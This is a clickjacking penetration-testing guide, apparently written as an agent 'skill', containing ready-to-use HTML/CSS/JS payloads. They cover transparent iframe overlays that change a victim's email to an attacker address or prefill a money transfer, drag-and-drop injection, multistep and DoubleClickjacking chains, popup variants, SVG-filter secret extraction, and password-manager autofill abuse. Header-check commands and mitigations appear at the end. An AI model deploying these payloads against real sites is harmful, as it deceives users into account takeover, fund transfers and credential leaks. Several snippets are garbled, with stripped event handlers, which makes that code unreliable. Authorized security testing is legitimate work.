Clickjacking Pentest Skill
A comprehensive guide for testing clickjacking vulnerabilities in web applications.
What is Clickjacking
Clickjacking (UI redressing) tricks users into clicking elements that are invisible or disguised. This can lead to:
- Malware downloads
- Credential theft
- Unauthorized transactions
- Account takeovers
- XSS activation
Quick Assessment Checklist
- Check framing protections: Test for
X-Frame-Optionsand CSPframe-ancestorsheaders - Test iframe embedding: Try loading the target in an iframe with various sandbox attributes
- Identify sensitive actions: Look for buttons/forms that execute state-changing operations
- Test advanced techniques: SVG filters, doubleclickjacking, browser extension attacks
Attack Vectors
1. Basic Clickjacking
Overlay a transparent iframe over a deceptive button:
<style>
iframe {
position: relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position: absolute;
top: 470px;
left: 60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=attacker@evil.com"></iframe>
When to use: Target has no framing protections and contains clickable elements.
2. Form Prepopulation
Abuse GET parameters to fill forms before clickjacking:
<iframe src="https://vulnerable.com/transfer?amount=1000&to=attacker"></iframe>
When to use: Forms accept GET parameters for prefilling values.
3. Drag & Drop Payload
Use drag-and-drop to inject controlled data:
<div id="payload" draggable="true"
'attacker@gmail.com')">
DRAG ME TO THE RED BOX
</div>
<iframe src="https://target.com/profile"></iframe>
When to use: Target has drag-and-drop functionality for form fields.
4. Multistep Clickjacking
Chain multiple clicks for complex workflows:
<style>
iframe { position: relative; width: 500px; height: 500px; opacity: 0.1; z-index: 2; }
.firstClick, .secondClick { position: absolute; top: 330px; z-index: 1; }
.firstClick { left: 60px; }
.secondClick { left: 210px; }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
When to use: Target requires multiple sequential actions (password reset, approval workflows).
5. XSS + Clickjacking
Combine self-XSS with clickjacking to trigger payloads:
- Find self-XSS in user-controlled fields
- Prepopulate form with XSS payload via GET parameters
- Clickjack the submit button
- Victim executes XSS when form is submitted
When to use: Target has self-XSS in profile/settings pages vulnerable to clickjacking.
6. DoubleClickjacking
Exploit timing between mousedown and onclick to bypass protections:
<script>
let iframeLoaded = false;
let clickCount = 0;
function handleMouseDown() {
clickCount++;
if (clickCount === 1) {
// Load victim iframe on first click
document.getElementById('victim').src = 'https://target.com';
}
}
function handleClick() {
if (clickCount === 2) {
// Second click lands on victim page
}
}
</script>
<div here</div>
<iframe id="victim"></iframe>
When to use: Target has strong clickjacking protections but sensitive single-click actions (OAuth approvals).
7. Popup-based DoubleClickjacking (No Iframes)
Use popup windows instead of iframes:
<script>
let w; => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
=> { try { w.moveTo(e.screenX, e.screenY); } catch {} };
window.open('', 'pj'); // Refocus popup
};
</script>
When to use: Target blocks iframes but popup windows are allowed.
8. SVG Filter UI Redressing
Use CSS filters to distort victim UI:
<svg width="0" height="0">
<filter id="displacementFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim.example" style="filter:url(#displacementFilter)"></iframe>
Useful primitives:
feImage: Load attacker bitmaps (overlays, displacement maps)feFlood: Build constant-color mattesfeDisplacementMap: Warp/refract victim UIfeComposite: Implement logic gates (AND, OR, XOR)feTile: Crop and replicate pixel probesfeColorMatrix: Build precise masks
When to use: Modern browsers (Chromium/WebKit/Gecko) with framable endpoints.
CAPTCHA-style Secret Extraction
Distort secrets to resemble CAPTCHA:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
When to use: Target displays secrets (tokens, reset codes) in framable pages.
Pixel Probes for State Detection
Detect UI state without JavaScript:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
When to use: Multi-step workflows requiring state detection (modals, checkboxes, banners).
9. Sandboxed Iframe Basic Auth
Trigger browser auth dialogs in sandboxed iframes:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
When to use: Target returns 401 with WWW-Authenticate header; popup restrictions don't block browser dialogs.
10. Browser Extension Clickjacking
Target password manager autofill dropdowns:
- Focus attacker-controlled input
- Hide/occlude extension dropdown with overlay
- Coerce user click to select stored credential
- Fill data into attacker-controlled fields
When to use: Target uses password managers; XSS on relying-party domain.
Testing Methodology
Step 1: Reconnaissance
- Identify all pages with forms, buttons, or state-changing actions
- Check for framing protections using the
check-clickjacking-protections.shscript - Map sensitive operations (transfers, settings changes, approvals)
Step 2: Basic Testing
- Create a test page embedding the target in an iframe
- Test with various sandbox attributes:
sandbox="allow-forms allow-scripts"sandbox="allow-same-origin allow-scripts"sandbox="allow-modals allow-popups"
- Attempt to overlay deceptive UI elements
Step 3: Advanced Testing
- Test SVG filter attacks on modern browsers
- Attempt doubleclickjacking on protected pages
- Test popup-based attacks if iframes are blocked
- Check for browser extension vulnerabilities
Step 4: Payload Generation
Use the generate-clickjacking-payload.sh script to create test payloads:
./generate-clickjacking-payload.sh --target https://victim.com --type basic
./generate-clickjacking-payload.sh --target https://victim.com --type multistep
./generate-clickjacking-payload.sh --target https://victim.com --type svg-filter
Mitigation Testing
Check X-Frame-Options
curl -I https://target.com | grep -i x-frame-options
Expected values:
deny: No framing allowedsameorigin: Only same-origin framingallow-from uri: Specific origin allowed (limited browser support)
Check CSP frame-ancestors
curl -I https://target.com | grep -i content-security-policy
Expected values:
frame-ancestors 'none': No framingframe-ancestors 'self': Same-origin onlyframe-ancestors trusted.com: Specific origins
Test Frame-Busting Scripts
<iframe sandbox="allow-forms allow-scripts" src="https://target.com"></iframe>
If the page loads without redirecting, frame-busting is bypassed.
Reporting
When documenting clickjacking vulnerabilities:
- Include proof-of-concept: Provide working HTML payload
- Show impact: Demonstrate what action can be performed
- List affected pages: All vulnerable endpoints
- Recommend mitigations: X-Frame-Options, CSP frame-ancestors, anti-CSRF tokens